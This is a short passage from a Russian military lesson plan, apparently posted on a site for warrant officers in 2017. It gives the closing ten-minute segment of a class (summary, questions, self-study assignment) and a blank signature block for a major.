 Заключительная часть –  10 минут. 
Подведение итогов занятия
Ответы на вопросы, возникшие в ходе занятия
Рекомендации для дальнейшего самостоятельного изучения темы, задание на самоподготовку

Начальник _____________________ _____

      майор                                            С.Сидоров

«____» _________ 2017 г.

Категория: Прапорщики | Добавил: oleninanatoly (19.05.2017)
Просмотров: 6245 | Теги: прохождения военной службы, ВС РФ, Министерством обороны, Армия, ОГП, военнослужащим | Рейтинг: 3.0/1
Всего комментариев: 0